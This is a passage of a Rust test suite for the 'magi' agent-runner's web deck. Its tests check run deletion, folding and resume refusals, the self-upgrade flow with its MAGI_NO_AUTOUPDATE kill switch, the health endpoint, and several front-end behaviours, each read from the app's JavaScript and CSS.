6963        assert!(
6964            runs.join(run_running).exists(),
6965            "a run in flight keeps its directory"
6966        );
6967
6968        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
6969        let run_unfolded = "20260901-000000-unfd";
6970        let mut state2 = RunState::new(
6971            PathBuf::from("/repo"),
6972            "main".to_owned(),
6973            "abc".to_owned(),
6974            "instruction".to_owned(),
6975            Config::default(),
6976        );
6977        state2.id = run_unfolded.to_owned();
6978        state2.status = RunStatus::Ready;
6979        state2.candidates.push(crate::run::Candidate {
6980            index: 0,
6981            label: 'A',
6982            agent: "a".to_owned(),
6983            branch: "b".to_owned(),
6984            worktree: PathBuf::from("/w"),
6985            summary: String::new(),
6986            stat: String::new(),
6987            files: 1,
6988            commits: 1,
6989            empty: false,
6990            failed: None,
6991            duration_ms: 0,
6992            folded: false,
6993        });
6994        let dir2 = runs.join(run_unfolded);
6995        std::fs::create_dir_all(&dir2).expect("create dir2");
6996        std::fs::write(
6997            dir2.join("run.json"),
6998            serde_json::to_string(&state2).unwrap(),
6999        )
7000        .expect("write run.json");
7001
7002        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
7003        assert_eq!(res.status, 409);
7004        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
7005        assert!(dir2.exists(), "unfolded run directory is kept");
7006
7007        // 4. Missing id returns 404
7008        let res = fx.delete("/api/runs/nonexistent").await;
7009        assert_eq!(res.status, 404);
7010    }
7011
7012    #[test]
7013    fn web_ui_delete_contract_in_front_end() {
7014        // 1. API block has both delete endpoints
7015        assert!(APP_JS.contains("deleteRun:"));
7016        assert!(APP_JS.contains("deleteTask:"));
7017
7018        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
7019        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
7020            ..APP_JS.find("function renderRuns").unwrap()];
7021        assert!(!run_cards_slice.to_lowercase().contains("delete"));
7022
7023        // 3. Run detail has delete entry and reasons
7024        assert!(APP_JS.contains("renderRunDelete"));
7025        assert!(APP_JS.contains("runDeleteReason"));
7026        assert!(APP_JS.contains("magi fold"));
7027        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
7028
7029        // 4. Two-step delete arming and focus on Cancel
7030        assert!(APP_JS.contains("cancel.focus"));
7031        assert!(APP_JS.contains("armedRunDelete"));
7032        assert!(APP_JS.contains("armedDelete"));
7033
7034        // 5. Running task has disabled delete
7035        assert!(APP_JS.contains("disabled: status === \"running\""));
7036    }
7037
7038    /// Every element a run card's updater reaches for must be in the `refs`
7039    /// the builder handed it.
7040    ///
7041    /// `createRunCard` builds its elements, appends them to the card, and then
7042    /// lists them again in `row.refs`. That second list is the one the updater
7043    /// uses, and nothing connects the two - an element can be built, appended
7044    /// and rendered, and still be missing from `refs`. `superseded` was, for
7045    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
7046    /// exception took `syncList` with it, and the deck showed
7047    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
7048    /// line is computed before the cards, which is why the failure looked like
7049    /// a server that had lost its runs rather than a front end that had
7050    /// stopped rendering them.
7051    ///
7052    /// A `cargo test` cannot execute the front end, so this reads the two
7053    /// halves out of the source and compares them as sets. It is not a check
7054    /// on the wording of either list: adding an element, renaming one, or
7055    /// reordering them all keeps this passing, and only using one the builder
7056    /// never published fails it.
7057    #[test]
7058    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
7059        let build = APP_JS
7060            .find("function createRunCard")
7061            .expect("createRunCard exists");
7062        let update = APP_JS
7063            .find("function updateRunCard")
7064            .expect("updateRunCard exists");
7065        let end = APP_JS
7066            .find("function renderRuns")
7067            .expect("renderRuns exists");
7068
7069        // The builder's published set: the object literal assigned to `refs`.
7070        let builder = &APP_JS[build..update];
7071        let open = builder.find("refs = {").expect("createRunCard sets refs");
7072        let literal = &builder[open + "refs = {".len()..];
7073        let close = literal.find('}').expect("the refs literal is closed");
7074        let published: HashSet<&str> = literal[..close]
7075            .split(',')
7076            // `name` and `name: value` both bind `name`.
7077            .filter_map(|entry| entry.split(':').next())
7078            .map(str::trim)
7079            .filter(|name| !name.is_empty())
7080            .collect();
7081        assert!(
7082            published.len() > 5,
7083            "the refs literal did not parse into names: {published:?}"
7084        );
7085
7086        // What the updaters reach for: every `r.<name>`, where `r` is the
7087        // `const r = row.refs` alias both functions open with.
7088        let mut used: Vec<&str> = Vec::new();
7089        let updaters = &APP_JS[update..end];
7090        for (at, _) in updaters.match_indices("r.") {
7091            // `r` must be the whole identifier, not the tail of another one
7092            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
7093            let before = updaters[..at].chars().next_back();
7094            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
7095                continue;
7096            }
7097            let rest = &updaters[at + 2..];
7098            let len = rest
7099                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
7100                .unwrap_or(rest.len());
7101            if len > 0 {
7102                used.push(&rest[..len]);
7103            }
7104        }
7105        assert!(
7106            used.len() > 5,
7107            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
7108        );
7109
7110        let missing: Vec<&str> = used
7111            .iter()
7112            .copied()
7113            .filter(|name| !published.contains(name))
7114            .collect();
7115        assert!(
7116            missing.is_empty(),
7117            "a run card's updater reaches for {missing:?}, which `createRunCard` \
7118             never put in `refs` - every card will throw and the list will \
7119             render empty under a count line that says otherwise. Published: \
7120             {published:?}"
7121        );
7122    }
7123
7124    #[tokio::test]
7125    async fn folding_from_the_phone_reports_what_it_removed() {
7126        let fx = Fixture::start().await;
7127        let runs = fx.runs();
7128
7129        // A run with no candidates has nothing to fold, which is a 200 with an
7130        // honest count rather than an error: the operator asked for the trees
7131        // to be gone and they are.
7132        let id = "20260901-000000-fold";
7133        write_run(&runs, id, RunStatus::Stalled);
7134        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7135        assert_eq!(res.status, 200);
7136        assert_eq!(res.json()["removed_count"], 0);
7137        assert_eq!(res.json()["run"], id);
7138        assert!(
7139            runs.join(id).exists(),
7140            "a fold keeps the run's record; only the worktrees go"
7141        );
7142    }
7143
7144    #[tokio::test]
7145    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
7146        let fx = Fixture::start().await;
7147        let runs = fx.runs();
7148        let wt = fx.home.path().join("wt").join("magi").join("dead");
7149        let id = "20260901-000000-dead";
7150        std::fs::create_dir_all(runs.join(id)).expect("run dir");
7151        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7152        std::fs::create_dir_all(&wt).expect("worktree dir");
7153
7154        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7155        assert_eq!(res.status, 200, "{}", res.body);
7156        assert!(
7157            res.json()["removed_count"].as_u64().unwrap() > 0,
7158            "the worktree this build could not read a state for still went"
7159        );
7160        assert!(
7161            !runs.join(id).exists(),
7162            "an unreadable run has no candidate list to fold selectively, so \
7163             the whole record goes - same as `magi fold` on the CLI"
7164        );
7165    }
7166
7167    #[tokio::test]
7168    async fn deleting_an_unreadable_run_removes_it_wholesale() {
7169        let fx = Fixture::start().await;
7170        let runs = fx.runs();
7171        let wt = fx.home.path().join("wt").join("magi").join("gone");
7172        let id = "20260901-000000-gone";
7173        std::fs::create_dir_all(runs.join(id)).expect("run dir");
7174        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7175        std::fs::create_dir_all(&wt).expect("worktree dir");
7176
7177        let res = fx.delete(&format!("/api/runs/{id}")).await;
7178        assert_eq!(res.status, 204, "{}", res.body);
7179        assert!(!runs.join(id).exists(), "the broken record is gone");
7180        assert!(!wt.exists(), "its worktree is gone too");
7181    }
7182
7183    #[tokio::test]
7184    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
7185        let fx = Fixture::start().await;
7186        let runs = fx.runs();
7187        let id = "20260901-000000-live";
7188        write_run(&runs, id, RunStatus::Implementing);
7189
7190        let mut beat = crate::daemon::Status::new();
7191        beat.current = vec![crate::daemon::Current {
7192            task: "20260901-000000-task".to_owned(),
7193            run: id.to_owned(),
7194        }];
7195        beat.updated_at = jiff::Timestamp::now();
7196        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7197            .expect("publish a heartbeat");
7198
7199        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7200        assert_eq!(res.status, 409);
7201        assert!(
7202            res.json()["error"]
7203                .as_str()
7204                .unwrap()
7205                .contains("live daemon"),
7206            "folding under a running agent would pull its worktree away"
7207        );
7208    }
7209
7210    #[tokio::test]
7211    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
7212        let fx = Fixture::start().await;
7213        let runs = fx.runs();
7214
7215        // Only a finished run and a failed one. An *interrupted* run - a
7216        // parked one, or one whose daemon was killed mid-node - is the case
7217        // resuming exists for: run 4043 sat at `reviewing` with the deck
7218        // saying it could not be resumed, which was the one state where
7219        // resuming was the only sensible answer.
7220        for (status, word) in [
7221            (RunStatus::Merged, "merged"),
7222            (RunStatus::Ready, "ready"),
7223            (RunStatus::Failed, "failed"),
7224        ] {
7225            let id = format!("20260901-000000-{}", &word[..4]);
7226            write_run(&runs, &id, status);
7227            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
7228            assert_eq!(res.status, 409, "{word} must not be resumable");
7229            let err = res.json()["error"].as_str().unwrap().to_owned();
7230            assert!(err.contains(word), "the refusal names the status: {err}");
7231        }
7232
7233        // And an interrupted run is accepted: 202, with the resume running in
7234        // the background. `Runner::resume` fails immediately here - the
7235        // fixture's run points at a repository that does not exist - which is
7236        // the point: the handler must not wait for it to find out.
7237        let mid = "20260901-000000-midf";
7238        write_run(&runs, mid, RunStatus::Reviewing);
7239        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
7240        assert_eq!(res.status, 202, "an interrupted run is resumable");
7241    }
7242
7243    #[tokio::test]
7244    async fn resume_is_refused_while_the_loop_is_running() {
7245        let fx = Fixture::start().await;
7246        let runs = fx.runs();
7247        let stalled = "20260901-000000-stal";
7248        write_run(&runs, stalled, RunStatus::Stalled);
7249
7250        // The loop is busy with a *different* run, and that is still a
7251        // refusal: a manual resume must never race whatever the loop itself
7252        // is already driving, whether that is one run or several.
7253        let mut beat = crate::daemon::Status::new();
7254        beat.current = vec![crate::daemon::Current {
7255            task: "20260901-000000-task".to_owned(),
7256            run: "20260901-000000-othr".to_owned(),
7257        }];
7258        beat.updated_at = jiff::Timestamp::now();
7259        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7260            .expect("publish a heartbeat");
7261
7262        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
7263        assert_eq!(res.status, 409);
7264        let err = res.json()["error"].as_str().unwrap().to_owned();
7265        assert!(err.contains("othr"), "it names what the loop is on: {err}");
7266        assert!(err.contains("stop it first"), "{err}");
7267    }
7268
7269    #[test]
7270    fn a_run_cannot_be_resumed_twice_at_once() {
7271        let home = TempDir::new().expect("temp home");
7272        let ui = Ui::new(
7273            Queue::at(home.path().join("queue")),
7274            Questions::at(home.path().join("questions")),
7275            Chats::at(home.path().join("chats")),
7276            Talks::at(home.path().join("talks")),
7277            home.path().join("runs"),
7278            home.path().to_path_buf(),
7279            PathBuf::from("/repo"),
7280        )
7281        .with_worktrees_root(home.path().join("wt"));
7282        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
7283        let again = ui.begin_resume("20260901-000000-once");
7284        assert!(again.is_err(), "a second tap must not start a second graph");
7285        drop(first);
7286        assert!(
7287            ui.begin_resume("20260901-000000-once").is_ok(),
7288            "and the claim is released when the attempt ends"
7289        );
7290    }
7291
7292    #[test]
7293    fn refreshing_a_conversation_never_navigates_to_it() {
7294        // Reproduced on the deck: send a turn in one conversation, open
7295        // another, and ten seconds later the transcript on screen was the
7296        // first one while the address bar still named the second.
7297        // `tickWaits`' insurance calls `loadChat` for every *waiting* chat, and
7298        // `loadChat` opened by assigning `state.chatDetail`, so a refresh was
7299        // a navigation.
7300        let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
7301            ..APP_JS.find("async function startChat(").expect("startChat")];
7302        assert!(
7303            !body.contains("state.chatDetail = {"),
7304            "loadChat must not decide which conversation is on screen: {body}"
7305        );
7306        assert!(
7307            body.contains("if (state.chatDetail.id !== id) return;"),
7308            "it returns instead of drawing a chat the operator is not reading"
7309        );
7310
7311        // The wait still has to be settled from there, and before that check,
7312        // because the insurance exists for a reply that lands while the
7313        // operator is elsewhere - otherwise the wait strip runs forever.
7314        assert!(
7315            body.find("trackIfThinking(chat)")
7316                < body.find("if (state.chatDetail.id !== id) return;"),
7317            "settle the wait before the on-screen check"
7318        );
7319
7320        // Choosing the conversation on screen belongs to the router.
7321        let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
7322        assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
7323    }
7324
7325    #[tokio::test]
7326    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
7327        let fx = Fixture::start().await;
7328        // Somebody else's `magi serve` owns the queue. Replacing this binary
7329        // would leave that process running an old one against the same
7330        // claims, which is worse than refusing.
7331        let mut beat = crate::daemon::Status::new();
7332        beat.pid = 4321;
7333        beat.updated_at = jiff::Timestamp::now();
7334        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7335            .expect("publish a heartbeat");
7336
7337        let res = fx.post("/api/upgrade", None).await;
7338        assert_eq!(res.status, 409);
7339        let err = res.json()["error"].as_str().unwrap().to_owned();
7340        assert!(err.contains("4321"), "the refusal names the owner: {err}");
7341        assert!(err.contains("old one against the same queue"), "{err}");
7342    }
7343
7344    /// [`should_spawn_recheck`] must refuse for the same two reasons
7345    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
7346    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
7347    /// Purely a predicate over config and the environment - no network, no
7348    /// disk, no runtime - so unlike the fixture-based tests around it this
7349    /// one needs neither.
7350    #[test]
7351    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
7352        assert!(!should_spawn_recheck(&crate::config::Update {
7353            mode: UpdateMode::Off,
7354            interval: None,
7355        }));
7356
7357        // SAFETY: single-threaded as far as this variable goes, the same
7358        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
7359        unsafe {
7360            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
7361        }
7362        let killed = should_spawn_recheck(&crate::config::Update {
7363            mode: UpdateMode::Notify,
7364            interval: None,
7365        });
7366        unsafe {
7367            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
7368        }
7369        assert!(
7370            !killed,
7371            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
7372             one-time startup check"
7373        );
7374
7375        assert!(should_spawn_recheck(&crate::config::Update {
7376            mode: UpdateMode::Notify,
7377            interval: None,
7378        }));
7379    }
7380
7381    /// [`recheck_poll_period`] must track a configured `[update] interval`
7382    /// shorter than its own default ceiling - a fixed sleep here would leave
7383    /// an operator's short interval waiting on the next wake-up instead of on
7384    /// `should_check`, which is the same bug this whole task exists to fix,
7385    /// just one level down.
7386    #[test]
7387    fn recheck_poll_period_tracks_a_short_configured_interval() {
7388        let short = crate::config::Update {
7389            mode: UpdateMode::Notify,
7390            interval: Some("1m".to_owned()),
7391        };
7392        let period = recheck_poll_period(&short);
7393        assert!(
7394            period <= Duration::from_secs(30),
7395            "a one-minute interval must wake the task far sooner than the \
7396             default ceiling, or the deck would not notice within the \
7397             interval the operator configured: got {period:?}"
7398        );
7399
7400        let default = crate::config::Update {
7401            mode: UpdateMode::Notify,
7402            interval: None,
7403        };
7404        assert_eq!(
7405            recheck_poll_period(&default),
7406            UPDATE_RECHECK_POLL_MAX,
7407            "the default day-long interval should poll at the (capped) \
7408             ceiling rather than needlessly often"
7409        );
7410    }
7411
7412    /// [`update_recheck_due`] must not repeat a check made moments ago, the
7413    /// same throttle `updater::Checker::should_check` already gives the
7414    /// CLI's notify mode. Built over an explicit state file via
7415    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
7416    /// write the operator's real `last_update_check.json` - and therefore
7417    /// cannot flake on whatever that file happens to say on the machine
7418    /// running the test.
7419    #[test]
7420    fn recheck_skips_the_network_before_the_interval_elapses() {
7421        let dir = TempDir::new().expect("temp dir");
7422        let path = dir.path().join("state.json");
7423        let state = kaishin::UpdateCheckState {
7424            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
7425            last_known_latest: None,
7426            last_known_url: None,
7427        };
7428        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
7429
7430        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
7431        assert!(
7432            !update_recheck_due(&checker, None),
7433            "a check made moments ago must not be repeated before the \
7434             configured interval elapses"
7435        );
7436    }
7437
7438    /// An upgrade this deck already started must not be raced by a recheck
7439    /// that discovers a newer release mid-install - regardless of what
7440    /// `should_check` says, which is why the state file here is missing
7441    /// entirely: read alone, that alone would answer "never checked, go
7442    /// ahead".
7443    #[test]
7444    fn recheck_defers_to_an_upgrade_already_in_flight() {
7445        let dir = TempDir::new().expect("temp dir");
7446        let path = dir.path().join("state.json");
7447        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
7448        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
7449
7450        assert!(
7451            !update_recheck_due(&checker, Some(&progress)),
7452            "a recheck must not run while an upgrade this deck started is \
7453             still moving"
7454        );
7455    }
7456
7457    #[tokio::test]
7458    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
7459        // The same env var the background check honours (`disabled_by_env`)
7460        // must also stop a button press before it ever calls
7461        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
7462        // means "never contact GitHub from this process", and a tap on the
7463        // upgrade button must not override that any more than a broken
7464        // `magi.toml` may. Left unset, this fixture's default config would
7465        // otherwise reach a real, unauthenticated GitHub call.
7466        //
7467        // SAFETY: single-threaded as far as this variable goes - nothing else
7468        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
7469        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
7470        unsafe {
7471            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
7472        }
7473        let fx = Fixture::start().await;
7474        let res = fx.post("/api/upgrade", None).await;
7475        unsafe {
7476            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
7477        }
7478        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
7479        let body = res.json();
7480        assert!(body["to"].is_null(), "there was no release to move to");
7481        assert!(body["parked"].is_null(), "and nothing was parked");
7482        assert!(
7483            body["detail"]
7484                .as_str()
7485                .unwrap()
7486                .contains("disabled by MAGI_NO_AUTOUPDATE"),
7487            "{body:?}"
7488        );
7489    }
7490
7491    #[tokio::test]
7492    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
7493        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
7494        // and the route answers from its own logic.
7495        //
7496        // This test used to lean on the fixture's placeholder repo failing
7497        // config discovery, which left `mode = "notify"` - and a live,
7498        // unauthenticated call to the GitHub releases API inside a unit test.
7499        // GitHub allows 60 of those an hour per address, so the suite went red
7500        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
7501        // long as somebody kept re-running it: every attempt spent another
7502        // request. Six reruns across four pull requests were charged to that
7503        // before it was read as a rate limit rather than a flake.
7504        //
7505        // What the assertion is about is the "already current" branch, which
7506        // is reached by there being no newer release *or* nowhere to look. The
7507        // second one needs no network and cannot be rate limited.
7508        let repo = TempDir::new().expect("repo dir");
7509        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
7510            .expect("write magi.toml");
7511        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
7512
7513        // It must answer 200 and leave the process alone: restarting for an
7514        // upgrade that did not happen parks the run in flight and drops every
7515        // connection to pay for nothing. A probe against a deck already on the
7516        // newest build did exactly that, which is how this case got its own
7517        // branch.
7518        let res = fx.post("/api/upgrade", None).await;
7519        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
7520        let body = res.json();
7521        assert!(body["to"].is_null(), "there was no release to move to");
7522        assert!(body["parked"].is_null(), "and nothing was parked");
7523        assert!(
7524            body["detail"]
7525                .as_str()
7526                .unwrap()
7527                .contains("nothing restarted"),
7528            "{body:?}"
7529        );
7530    }
7531
7532    #[tokio::test]
7533    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
7534        // `mode = "off"` for the same reason as the test above: a default
7535        // fixture repo falls back to `mode = "notify"`, which would make this
7536        // route's new `update` field a live, unauthenticated GitHub call on
7537        // every assertion in this suite that happens to hit `/api/health`.
7538        let repo = TempDir::new().expect("repo dir");
7539        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
7540            .expect("write magi.toml");
7541        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
7542
7543        let health = fx.get("/api/health").await.json();
7544        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
7545        assert_eq!(
7546            health["update"]["available"], false,
7547            "checking is off, which reads as \"unknown\", not \"none\""
7548        );
7549        assert!(health["update"]["to"].is_null());
7550        assert!(
7551            health["upgrade"].is_null(),
7552            "nothing has ever asked this deck to upgrade"
7553        );
7554    }
7555
7556    #[tokio::test]
7557    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
7558        let fx = Fixture::start().await;
7559        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
7560
7561        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7562        progress.parked_run = Some("20260905-000000-cd51".to_owned());
7563        progress.advance(crate::updater::Stage::Parking);
7564        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
7565
7566        let health = fx.get("/api/health").await.json();
7567        assert_eq!(health["upgrade"]["stage"], "parking");
7568        assert_eq!(health["upgrade"]["from"], "0.5.1");
7569        assert_eq!(health["upgrade"]["to"], "0.5.2");
7570        let waiting_on = health["upgrade"]["waiting_on"]
7571            .as_str()
7572            .expect("waiting_on is set while parking a known run");
7573        assert!(waiting_on.contains("cd51"), "{waiting_on}");
7574        assert!(waiting_on.contains("implementing"), "{waiting_on}");
7575    }
7576
7577    #[tokio::test]
7578    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
7579        let fx = Fixture::start().await;
7580        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7581        progress.advance(crate::updater::Stage::Done);
7582        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
7583
7584        let health = fx.get("/api/health").await.json();
7585        assert_eq!(health["upgrade"]["stage"], "done");
7586        assert!(
7587            health["upgrade"]["waiting_on"].is_null(),
7588            "nothing to wait on once it is done"
7589        );
7590    }
7591
7592    #[tokio::test]
7593    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
7594        let home = TempDir::new().expect("temp home");
7595        let runs = home.path().join("runs");
7596        std::fs::create_dir_all(&runs).expect("runs dir");
7597        let ui = Ui::new(
7598            Queue::at(home.path().join("queue")),
7599            Questions::at(home.path().join("questions")),
7600            Chats::at(home.path().join("chats")),
7601            Talks::at(home.path().join("talks")),
7602            runs,
7603            home.path().to_path_buf(),
7604            PathBuf::from("/repo/magi"),
7605        )
7606        .with_launch(launch_idle);
7607        let looping = ui.looping();
7608        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7609            .await
7610            .expect("bind loopback");
7611        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7612
7613        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7614        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
7615
7616        hand_over(home.path(), &looping, served, || Ok(()))
7617            .await
7618            .expect("hand over");
7619
7620        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
7621        assert_eq!(
7622            after.stage,
7623            crate::updater::Stage::Restarting,
7624            "hand_over owns the record through parking and up to restarting; \
7625             the successor is what finishes it"
7626        );
7627    }
7628
7629    #[test]
7630    fn the_upgrade_button_arms_before_it_restarts_anything() {
7631        // It ends the process the operator is talking to, and a phone in a
7632        // pocket taps things. One tap arms, the second commits.
7633        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
7634        assert!(APP_JS.contains("Replace the binary and restart?"));
7635        assert!(APP_JS.contains("function confirmed("));
7636        // Hidden when the loop is somebody else's, matching the 409 above -
7637        // and hidden with nothing to install, matching the 200 "already
7638        // current" branch: an operator on the newest build must not be
7639        // offered a restart that would only park a run for nothing.
7640        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
7641        // A park waits for the node in flight, up to an hour for an implement
7642        // wave. Leaving the button reading "Upgrading…" for that long is the
7643        // same mistake as an error rendered off screen: it looks wedged.
7644        assert!(
7645            APP_JS.contains("Parking, then restarting"),
7646            "the button says what it is waiting for"
7647        );
7648        // And nothing to install must give the button back rather than
7649        // pretending a restart is coming.
7650        assert!(APP_JS.contains("if (!out.to)"));
7651    }
7652
7653    #[test]
7654    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
7655        assert!(
7656            APP_JS.contains("state.health.version"),
7657            "the operator wants to know what is running even with nothing newer"
7658        );
7659        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
7660    }
7661
7662    #[test]
7663    fn the_upgrade_button_names_its_destination() {
7664        assert!(
7665            APP_JS.contains("`Update to ${update.to}`"),
7666            "pressing the button should not be a surprise about what it moves to"
7667        );
7668    }
7669
7670    #[test]
7671    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
7672        for stage in ["downloading", "replaced", "parking", "restarting"] {
7673            assert!(
7674                APP_JS.contains(&format!("\"{stage}\"")),
7675                "the phone must be able to tell {stage} apart from the others"
7676            );
7677        }
7678        assert!(APP_JS.contains(".waiting_on"));
7679        // What replaced the bare "Cannot reach magi: Failed to fetch": a
7680        // fetch failing while an upgrade is in flight is not an error, it is
7681        // the sub-second gap `bind_waiting` covers, and it must not be
7682        // reported as one.
7683        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
7684        assert!(APP_JS.contains("reconnects on its own"));
7685    }
7686
7687    #[test]
7688    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
7689        // `Stage::Failed` is terminal on the server and nothing clears it on
7690        // its own - not a fresh start, not time passing - so a full-strip
7691        // takeover for it (the way the busy stages take the strip over,
7692        // correctly, because those are transient) would have hidden
7693        // start/stop/park behind an upgrade notice with no way back short of
7694        // a person editing `upgrade.json` by hand or a later release
7695        // happening to succeed. The failure must instead ride along as a note
7696        // next to whatever control the loop's own state already offers.
7697        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
7698            ..APP_JS.find("function upgrade(").expect("upgrade")];
7699        assert!(
7700            !body.contains(
7701                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
7702            ),
7703            "a failed upgrade must not take the whole strip over the way it used to"
7704        );
7705        assert!(
7706            body.contains("upgradeFailNote"),
7707            "the failure has to reach the loop's own note instead"
7708        );
7709        // `quiet` and `control` are the only two places `loop-why` is set from
7710        // this function's own state; both must carry the note through, or a
7711        // future edit to either one would silently drop it again.
7712        assert_eq!(
7713            body.matches("upgradeFailNote].filter(Boolean).join")
7714                .count(),
7715            2,
7716            "both loop-why writers (quiet and control) must fold the note in"
7717        );
7718    }
7719
7720    #[test]
7721    fn an_overdue_upgrade_eventually_asks_for_a_human() {
7722        // The ceiling has to clear a full hour-long park with room to spare,
7723        // or an ordinary implement wave would be reported as a stuck upgrade.
7724        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
7725        assert!(APP_JS.contains("function upgradeOverdue("));
7726    }
7727
7728    #[test]
7729    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
7730        assert!(
7731            APP_JS.contains("Updated to ${upgradeInfo.to"),
7732            "the operator who asked for the restart wants to know it worked"
7733        );
7734    }
7735
7736    #[test]
7737    fn an_error_is_visible_from_where_the_button_is() {
7738        // The alert used to sit in the flow under the header. On a phone
7739        // scrolled 13 500 px down to a run's action sheet that is off screen,
7740        // so tapping Resume and being told "the loop is running run b455
7741        // right now" looked exactly like a button that did nothing.
7742        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
7743            ..APP_CSS.find(".alert-text").expect(".alert-text")];
7744        assert!(
7745            alert.contains("position: fixed"),
7746            "an error about the thing under your thumb has to be visible from \
7747             where your thumb is: {alert}"
7748        );
7749        assert!(
7750            alert.contains("z-index: 25"),
7751            "above the dock (20) and the run-actions FAB (15), so neither \
7752             buries it: {alert}"
7753        );
7754        assert!(
7755            alert.contains("var(--tap)"),
7756            "and clear of the dock and the home indicator: {alert}"
7757        );
7758        // The FAB sits at the same height on the right. An error that covered
7759        // it would hide the button the operator reaches for next.
7760        assert!(
7761            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
7762            "the FAB's column stays free: {alert}"
7763        );
7764    }
7765
7766    #[tokio::test]
7767    async fn an_older_attempt_says_what_replaced_it() {
7768        let fx = Fixture::start().await;
7769        let q = fx.queue();
7770        let runs = fx.runs();
7771        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
7772        write_run(&runs, first, RunStatus::Stalled);
7773        write_run(&runs, second, RunStatus::Blocked);
7774
7775        let mut t = Task::new(
7776            "one task".to_owned(),
7777            "do it".to_owned(),
7778            PathBuf::from("/repo"),
7779            Source::Human,
7780        );
